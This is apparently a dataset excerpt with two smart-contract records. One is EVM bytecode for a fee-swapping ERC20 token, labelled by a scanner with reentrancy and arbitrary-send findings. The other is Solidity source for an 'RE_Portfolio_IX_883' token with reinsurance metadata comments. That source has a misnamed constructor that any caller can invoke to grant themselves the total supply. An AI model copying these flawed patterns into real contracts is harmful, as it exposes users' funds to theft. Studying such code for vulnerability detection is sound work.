0160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b15b2cf9df25cdda574a303db83c8654d3f16b71639652e2a56712608fd95f3564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,904 |
0x4f680601c66de498ca2b17fda0788a13640d7a58
|
pragma solidity ^0.4.21 ;
contract RE_Portfolio_IX_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_IX_883 " ;
string public symbol = " RE883IX " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1404357449531340000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_IX_metadata_line_1_____Coface_sa_NR_m_AAm_A2_20250515 >
// < 88AgS2F5z46BUk9go47NZRGbUUF9L1ulxVbFChaYRSgnkIPKkb0CexcSa9C9LI0M >
// < 1E-018 limites [ 1E-018 ; 18624924,6937051 ] >
// < 0x000000000000000000000000000000000000000000000000000000006F036329 >
// < RE_Portfolio_IX_metadata_line_2_____Collard_and_Partners_20250515 >
// < vlyvT9gB2FYccmP6U3LoLV2rV90D1fHPP5wf2rsA584Du44Mdl86EGh34zFB8BYZ >
// < 1E-018 limites [ 18624924,6937051 ; 68874631,9508929 ] >
// < 0x000000000000000000000000000000000000000000000006F03632919A865B0F >
// < RE_Portfolio_IX_metadata_line_3_____Continental_Casualty_Co_A_A_20250515 >
// < hH2UrZ74q9xzE9yfj7GRpfFCHMd42c20Wm87Az4pZN0WLW4lN458s3SaE9VWwh9k >
// < 1E-018 limites [ 68874631,9508929 ; 101498328,385074 ] >
// < 0x000000000000000000000000000000000000000000000019A865B0F25CFA2A7A >
// < RE_Portfolio_IX_metadata_line_4_____Continental_Reinsurance_Plc_Bp_20250515 >
// < 115gWxp0JrqasadIp7kQnbP29LcfxTfN0nQu9HXFDy1z48y3g4H5hYRTL93rSKO2 >
// < 1E-018 limites [ 101498328,385074 ; 116002561,283613 ] >
// < 0x000000000000000000000000000000000000000000000025CFA2A7A2B36DDE74 >
// < RE_Portfolio_IX_metadata_line_5_____Converium_20250515 >
// < 0CLLaJt136L02HH7V6MpZBT4IqNUOGE6YHs3wD5uR7H5Ukare8ePOkyY5mho8AQq >
// < 1E-018 limites [ 116002561,283613 ; 139649964,386638 ] >
// < 0x00000000000000000000000000000000000000000000002B36DDE7434060F14A >
// < RE_Portfolio_IX_metadata_line_6_____Copenhagen_Reinsurance_Company_20250515 >
// < Qzl522Bq70Q392lQ8p72mCRkRtge8dUTQLhkEVm6GEs0cmojP2ZhK4IjJOzQo85P >
// < 1E-018 limites [ 139649964,386638 ; 205712184,04366 ] >
// < 0x000000000000000000000000000000000000000000000034060F14A4CA23E3D8 >
// < RE_Portfolio_IX_metadata_line_7_____Coverys_Managing_Agency_Limited_20250515 >
// < i4D6TuTh9Igs3bbAY8FFi0nqBJMr27gT7dkh99b73Ozhzx0sXNirsdn0o7N6ZFob >
// < 1E-018 limites [ 205712184,04366 ; 224867352,068255 ] >
// < 0x00000000000000000000000000000000000000000000004CA23E3D853C505B5A >
// < RE_Portfolio_IX_metadata_line_8_____Coverys_Managing_Agency_Limited_20250515 >
// < xG9R9JlfO5642fzFKTY3Q328k0TfN3h97UeWUqO75rKCkEQ2QZiRvC3n50A575Fa >
// < 1E-018 limites [ 224867352,068255 ; 274254167,804167 ] >
// < 0x000000000000000000000000000000000000000000000053C505B5A662AEA840 >
// < RE_Portfolio_IX_metadata_line_9_____Coverys_Managing_Agency_Limited_20250515 >
// < v6pRPC2v8V43pCu4Y9owQ4ufI9bFtdNM9YVw64hzoBm0sAO26ew52QKHz7H6qcep >
// < 1E-018 limites [ 274254167,804167 ; 292366457,709014 ] >
// < 0x0000000000000000000000000000000000000000000000662AEA8406CEA3D17E >
// < RE_Portfolio_IX_metadata_line_10_____Coverys_Managing_Agency_Limited_20250515 >
// < afPat8fDGKD5Trz2rTRVhjUuVKX6Ki9eZ3RL6tJ60FIw06KuRnCn92V4bWYv4kDJ >
// < 1E-018 limites [ 292366457,709014 ; 333609481,239023 ] >
// < 0x00000000000000000000000000000000000000000000006CEA3D17E7C477AD8F >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_IX_metadata_line_11_____Coverys_Managing_Agency_Limited_20250515 >
// < 96r29cfzPjb5s9v0PkeC4z5v7TnwTkifXM89Q3oS629vZrLIfPKS77PwuURiq08Z >
// < 1E-018 limites [ 333609481,239023 ; 374945539,340977 ] >
// < 0x00000000000000000000000000000000000000000000007C477AD8F8BAD97F42 >
// < RE_Portfolio_IX_metadata_line_12_____Coverys_Managing_Agency_Limited_20250515 >
// < Qa0HEbtO36xd8Qw28BNao0CZ4g8GEF82pNVV25Zai5T0MR7rUwdSjqlV9q37io38 >
// < 1E-018 limites [ 374945539,340977 ; 409790344,441723 ] >
// < 0x00000000000000000000000000000000000000000000008BAD97F4298A8A7340 >
// < RE_Portfolio_IX_metadata_line_13_____Credit_Guarantee_20250515 >
// < SYiYy9QxAzh3Q7IV690025M212MFH8ViKh903dAX3b372B73HqmKZC4l35wlvBgr >
// < 1E-018 limites [ 409790344,441723 ; 438481185,387929 ] >
// < 0x000000000000000000000000000000000000000000000098A8A7340A358D32FE >
// < RE_Portfolio_IX_metadata_line_14_____Delta_Lloyd_Schadeverzekerina_NV_Am_20250515 >
// < BhpUcI8eUPPRR2hEBds294RBDMy490H0Q9nwSQa14Xtoss5X0v0SZT21Pd6vlR9h >
// < 1E-018 limites [ 438481185,387929 ; 454547146,537046 ] >
// < 0x0000000000000000000000000000000000000000000000A358D32FEA954FE911 >
// < RE_Portfolio_IX_metadata_line_15_____Delvag_LuftfahrtversicherungsmAG_m_A_20250515 >
// < 14hRl8NO9FIrnH1TDzSlJ937Rw9qRD18111TI49wrNpX2y4wNhsy6Jk91m5qMVxd >
// < 1E-018 limites [ 454547146,537046 ; 478104850,249938 ] >
// < 0x0000000000000000000000000000000000000000000000A954FE911B21BA1D14 >
// < RE_Portfolio_IX_metadata_line_16_____Deutsche_Rueckversicherung_20250515 >
// < 4ABE2v2nz3VVQyKOET13L242t26K05059UnMQ9690m818bq6my8cKkesDb8unKUb >
// < 1E-018 limites [ 478104850,249938 ; 521879887,120306 ] >
// < 0x0000000000000000000000000000000000000000000000B21BA1D14C26A584DC >
// < RE_Portfolio_IX_metadata_line_17_____DEVK_Deutche_Ap_m_20250515 >
// < v8wDs2NzZ6xODg1L94J3HvBQt31N8g9akEw13WLnO7LD86ljh1rRL6ReE83X5DX4 >
// < 1E-018 limites [ 521879887,120306 ; 545797069,567282 ] >
// < 0x0000000000000000000000000000000000000000000000C26A584DCCB5343E40 >
// < RE_Portfolio_IX_metadata_line_18_____Devonshire_Group_20250515 >
// < wymO39mF2D9fizJkw7xT157Md4P251syJ881i0B35q36wfpG9QJid0391exT74Ls >
// < 1E-018 limites [ 545797069,567282 ; 612010223,580769 ] >
// < 0x0000000000000000000000000000000000000000000000CB5343E40E3FDD7F8A >
// < RE_Portfolio_IX_metadata_line_19_____Doha_insurance_CO_QSC_Am_Am_20250515 >
// < tyF22LGce9p727e394xBTeGGKq6GXK5BKiIiE0MO349Qt79AxTG6waPH8BqyxiqK >
// < 1E-018 limites [ 612010223,580769 ; 672065865,298308 ] >
// < 0x0000000000000000000000000000000000000000000000E3FDD7F8AFA5D32295 >
// < RE_Portfolio_IX_metadata_line_20_____Dongbu_Insurance_Co_Limited_Am_20250515 >
// < rz53f3ly6p3ZP0ya2vQyx2LuHZVmQTjdH1s0v6K15e3VGX6bU7lH405mqA5W0rXm >
// < 1E-018 limites [ 672065865,298308 ; 748241209,849411 ] >
// < 0x000000000000000000000000000000000000000000000FA5D32295116BDD7C8C >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_IX_metadata_line_21_____Dorinco_Reinsurance_Company_20250515 >
// < 13W17RUGn435IxW078dy8Y5TQ9e5nmwMG269OaEzX4QhI4X80izuT35iuE29B4Sd >
// < 1E-018 limites [ 748241209,849411 ; 817808730,727887 ] >
// < 0x00000000000000000000000000000000000000000000116BDD7C8C130A851964 >
// < RE_Portfolio_IX_metadata_line_22_____Ecclesiastical_Insurance_Office_PLC_Am_A_20250515 >
// < 59sNGCHMpZdLGti6D852440ivcBdQN0oVK8eqZlkL5ZTLDljK091ZOnyF5I4k6bW >
// < 1E-018 limites [ 817808730,727887 ; 833829771,722031 ] >
// < 0x00000000000000000000000000000000000000000000130A851964136A034488 >
// < RE_Portfolio_IX_metadata_line_23_____Echo_Rueckversicherungs_m_AG__Echo_Re__Am_20250515 >
// < lsg5Zfdk4o0VVgQRcBX3771t1m8BqUO5a3irHKsoUq6afZevL1HEgfQ0Jrx6whS3 >
// < 1E-018 limites [ 833829771,722031 ; 857703894,624017 ] >
// < 0x00000000000000000000000000000000000000000000136A03448813F85049CA >
// < RE_Portfolio_IX_metadata_line_24_____Emirates_Ins_Co__PSC__Am_20250515 >
// < J7zT5NN3v2j08EsUY7sRw5I0sq1e7o2k6J53a78g42D0mQ7NT4ovxKKbxms5ytl3 >
// < 1E-018 limites [ 857703894,624017 ; 927407740,383387 ] >
// < 0x0000000000000000000000000000000000000000000013F85049CA1597C7EA8A >
// < RE_Portfolio_IX_metadata_line_25_____Emirates_Retakaful_limited_Bpp_20250515 >
// < 0Y0kTso43otg59rq0G498a5fUksL866fI5OsRpbV1eIyu30L2a5cRM025uiel7YA >
// < 1E-018 limites [ 927407740,383387 ; 939222985,153632 ] >
// < 0x000000000000000000000000000000000000000000001597C7EA8A15DE348C87 >
// < RE_Portfolio_IX_metadata_line_26_____Endurance_at_Lloyd_s_Limited_20250515 >
// < pZwY7WmF4KNMs7x1CItuox4cDSf84eVARbAXiJxbQI2scSL35b8V0EH7sitkEp0E >
// < 1E-018 limites [ 939222985,153632 ; 978807189,240854 ] >
// < 0x0000000000000000000000000000000000000000000015DE348C8716CA254040 >
// < RE_Portfolio_IX_metadata_line_27_____Endurance_at_Lloyd_s_Limited_20250515 >
// < A8F7EHKo20un388VWu898Y0RF0P40o9hQBb93MM61LoIHBC5Z1RUQpTp0gCNIF3G >
// < 1E-018 limites [ 978807189,240854 ; 999684565,540226 ] >
// < 0x0000000000000000000000000000000000000000000016CA254040174695995E >
// < RE_Portfolio_IX_metadata_line_28_____Endurance_at_Lloyd_s_Limited_20250515 >
// < 0K1fjU734A8WEJ3H3xs6B41685523757JeIdJgCRBb2Rzelt052Q84j9a8OkxtOS >
// < 1E-018 limites [ 999684565,540226 ; 1045088529,15821 ] >
// < 0x00000000000000000000000000000000000000000000174695995E1855368CA7 >
// < RE_Portfolio_IX_metadata_line_29_____Endurance_Specialty_Holdings_Limited_20250515 >
// < 6Lj195g0n3Ow8kLKu0KV3UD136Q61mYaW33QO73pPUrbghDtKaA212sJ40o9sI9L >
// < 1E-018 limites [ 1045088529,15821 ; 1084699261,5999 ] >
// < 0x000000000000000000000000000000000000000000001855368CA719414FBB03 >
// < RE_Portfolio_IX_metadata_line_30_____Endurance_Specialty_Holdings_Limited_20250515 >
// < 4bA5O0DK4Wh0ZNka0qv3f36wY6Qo789g8ZhkGoGmO0LiD5EO8120g7G5707v77p0 >
// < 1E-018 limites [ 1084699261,5999 ; 1123329642,39898 ] >
